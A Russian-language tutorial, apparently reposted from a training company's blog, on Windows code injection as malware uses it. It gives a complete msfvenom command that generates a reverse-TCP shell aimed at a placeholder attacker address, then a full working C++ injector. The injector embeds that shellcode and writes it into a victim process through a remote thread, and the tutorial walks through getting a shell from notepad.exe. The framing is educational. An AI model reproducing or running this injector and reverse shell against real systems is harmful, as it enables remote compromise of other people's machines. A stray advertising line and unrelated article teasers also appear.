Истории из жизни вредоносов: инъекция кода в Windows

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Технологии внедрения своего кода в чужие процессы уже много лет используются различными вредоносными приложениями. В Windows это стало довольно распространенным явлением. Вредонос инжектирует фрагменты своего собственного кода в другой запущенный процесс, чтобы затем его выполнить. Инъекция кода бывают нескольких видов, в этой статье мы рассмотрим обычную инъекцию кода, а в следующих статьях подробно поговорим про инъекции DLL и отраженные инъекции DLL.

Итак, инъекции кода получили широкую популярность, причем не только у разработчиков вредоносного кода, но и у создателей различных “таблеток” для пиратского софта. Также можно вспомнить разнообразные “читы” для прохождения игр.

Но мы в рамках данных статей будем инжектировать процесс удаленного доступа к машине жертвы, для того, чтобы продемонстрировать всю опасность данного вида атак.

Байты плохие и очень плохие

Ранее в статьях посвященных уязвимостям переполнения буфера уже рассматривалось понятие “плохих” байтов, но повторение будет не лишним. Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Так, инжектируемый нами в память набор байтов не должен содержать 0х00.

Однако здесь это не единственное ограничение. Также мы не можем использовать байты 0х10 и 0х13. Очевидно, что байты завершения строки также могут означать, что массив данных закончился и все, что следует далее необходимо отбросить.

Наша задача избавиться от этих плохих байтов, заменив проблемные опкоды команд их аналогами, не содержащими данные байты. Если бы мы писали наш шелл, то нам пришлось бы заменять проблемные инструкции ассемблера их аналогами, не содержащими плохие байты. Так например, если плохой байт передается в качестве аргумента какой-либо инструкции, то его можно заменить другим байтом, с которым затем провести математические операции. Если плохой байт содержится в опкоде самой инструкции, то можно попробовать заменить ее инструкциями с другими опкодами.

Однако, мы не будем писать наш шелл с нуля, а прибегнем к помощи Metasploit, а точнее, к помощи одного из его инструментов - msfvenom.

Этот инструмент позволяет получить полезную нагрузку нужного нам формата. В данном случае мы сгенерируем реверсивный шелл. Напомню, что при использовании обратного шелла машина злоумышленника слушает нужный порт, а машина жертвы после активации инжектированного кода, который реализует реверсивный шелл, сама инициирует соединение с машиной злоумышленника. В результате атакующий получает командную строку на машине жертвы.

Далее мы сгенериуем полезную нагрузку, которую затем будем инжектировать в процесс. Итак, в примере ниже LHOST это машина злоумышленника, LPORT – прослушиваемый порт, ключ -f это выходной формат данных (можно указать exe, dll, pdf и другие) но в нашем случае мы просто выводим байты в консоль для последующего помещения в исходный код программы инжектора. И в завершении мы указываем какие байты являются плохими.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_атакующего LPORT=Порт_атакующего -f c -b \x00\x0a\x0d

Как видно на скриншоте ниже msfvenom поругался на отсутствие платформы и архитектуры в переданных параметрах и выбрал заданные по умолчанию значения.

 

Пишем инжектор

Для написания самого инжектора воспользуемся языком С++. Выбор этого языка для осуществления инъекции кода конечно же не случаен. Благодаря своим возможностям по работе с памятью без лишних посредников, этот язык высокого уровня идеально подходит для наших задач. Лучше него был бы только ассемблер.

Итак, копируем наш шеллкод, который мы сгенерировали с помощью msfvenom в массив shellcode. Далее нам необходим процесс жертва, в который мы и будем осуществлять инъекцию. ID этого процесса будет передан в качестве параметра нашему инжектору. Мы открываем этот процесс и пишем в его раздел памяти наш шеллкод, после чего запускаем отдельный поток с нашим шеллкодом.

#include "stdafx.h"

#include "Windows.h"

 

int main(int argc, char *argv[])

{

                unsigned char shellcode[] =

"\xbf\xfe\xc7\xbe\xb0\xdb\xc8\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"

"\x52\x83\xc5\x04\x31\x7d\x0e\x03\x83\xc9\x5c\x45\x87\x3e\x22"

"\xa6\x77\xbf\x43\x2e\x92\x8e\x43\x54\xd7\xa1\x73\x1e\xb5\x4d"

"\xff\x72\x2d\xc5\x8d\x5a\x42\x6e\x3b\xbd\x6d\x6f\x10\xfd\xec"

"\xf3\x6b\xd2\xce\xca\xa3\x27\x0f\x0a\xd9\xca\x5d\xc3\x95\x79"

"\x71\x60\xe3\x41\xfa\x3a\xe5\xc1\x1f\x8a\x04\xe3\x8e\x80\x5e"

"\x23\x31\x44\xeb\x6a\x29\x89\xd6\x25\xc2\x79\xac\xb7\x02\xb0"

"\x4d\x1b\x6b\x7c\xbc\x65\xac\xbb\x5f\x10\xc4\xbf\xe2\x23\x13"

"\xbd\x38\xa1\x87\x65\xca\x11\x63\x97\x1f\xc7\xe0\x9b\xd4\x83"

"\xae\xbf\xeb\x40\xc5\xc4\x60\x67\x09\x4d\x32\x4c\x8d\x15\xe0"

"\xed\x94\xf3\x47\x11\xc6\x5b\x37\xb7\x8d\x76\x2c\xca\xcc\x1e"

"\x81\xe7\xee\xde\x8d\x70\x9d\xec\x12\x2b\x09\x5d\xda\xf5\xce"

"\xa2\xf1\x42\x40\x5d\xfa\xb2\x49\x9a\xae\xe2\xe1\x0b\xcf\x68"

"\xf1\xb4\x1a\x3e\xa1\x1a\xf5\xff\x11\xdb\xa5\x97\x7b\xd4\x9a"

"\x88\x84\x3e\xb3\x23\x7f\xa9\x7c\x1b\xa1\xaf\x15\x5e\x5d\xaa"

"\xef\xd7\xbb\xa0\xff\xb1\x14\x5d\x99\x9b\xee\xfc\x66\x36\x8b"

"\x3f\xec\xb5\x6c\xf1\x05\xb3\x7e\x66\xe6\x8e\xdc\x21\xf9\x24"

"\x48\xad\x68\xa3\x88\xb8\x90\x7c\xdf\xed\x67\x75\xb5\x03\xd1"

"\x2f\xab\xd9\x87\x08\x6f\x06\x74\x96\x6e\xcb\xc0\xbc\x60\x15"

"\xc8\xf8\xd4\xc9\x9f\x56\x82\xaf\x49\x19\x7c\x66\x25\xf3\xe8"

"\xff\x05\xc4\x6e\x00\x40\xb2\x8e\xb1\x3d\x83\xb1\x7e\xaa\x03"

"\xca\x62\x4a\xeb\x01\x27\x7a\xa6\x0b\x0e\x13\x6f\xde\x12\x7e"

"\x90\x35\x50\x87\x13\xbf\x29\x7c\x0b\xca\x2c\x38\x8b\x27\x5d"

"\x51\x7e\x47\xf2\x52\xab";


                HANDLE processHandle;

                HANDLE remoteThread;

                PVOID remoteBuffer;

 

                printf("Injecting to PID: %i", atoi(argv[1]));

                processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

                remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

                WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

                remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

                CloseHandle(processHandle);

 

    return 0;

}

После компиляции получаем готовый к использованию выполнимый файл.

Эксплуатируем

Для эксплуатации инъекции в процесс необходимо на машине злоумышленника включить прослушивание соответствующего порта 6666.

 

Далее выбираем процесс жертву. В моем случае это notepad.exe с идентификатором 2984. Этот ID мы и передадим в качестве параметра нашему инжектору.

 

 

В результате получаем дочерний процесс 2676, который на машине жертвы видится как cmd.exe. Не сказать, чтобы очень подозрительно, хотя при желании можно выбрать еще менее подозрительный процесс-жертву.

Теперь посмотрим, что происходит на стороне злоумышленника.

А здесь, как видно все хорошо. Машина жертвы успешно установила соединение с атакующим и теперь у злоумышленника есть права текущего пользователя процесса жертвы.

Заключение

В этой статье мы рассмотрели простейший случай инъекции в процессы. Да, конечно, современные антивирусы вряд ли позволят реализовать подобную активность безнаказанно, однако, если на машине нет средств защиты, то реализовать атаку можно без проблем. В следующих статьях мы поговорим об инъекциях DLL и отражающих инъекциях DLL.

О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.

 

 

Источник: https://habr.com/ru/companies/otus/articles/760812/


Интересные статьи

Интересные статьи

Вы хотели бы стать DevOps-инженером? Тогда приготовьтесь: вас ждут просторы Kubernetes, волны Docker и хитросплетения Terraform. Как вообще человеку влиться в новое для него дело и не потонуть в обшир...
Инструменты покрытия кода помогают понять, какая часть кодовой базы выполняется (или, как еще говорят, покрывается) при выполнении данного набора тестов. Какое-то время Go поддерживал измерение покрыт...
Оптимизация Сео Аудита на NextJS. Это ненастолько удачное занятие, поскольку, по моему опыту, он не дает полного контроля над event loop, который и надо приоритетно оптимизировать. Однако NextJS дает ...
В этой статье автор хотел бы дать пару хороших советов по администрированию серверов на Windows, которые по какой-то причине не нашел в интернете. Следуя этим принципам вы сильно обезопасите с...
Добрый день. Я много лет использовал WPF. Паттерн MVVC наверное один из наиболее удобных архитектурных паттернов. Я предполагал что MVC почти то же самое. Когда я на новом месте работы я увидел ...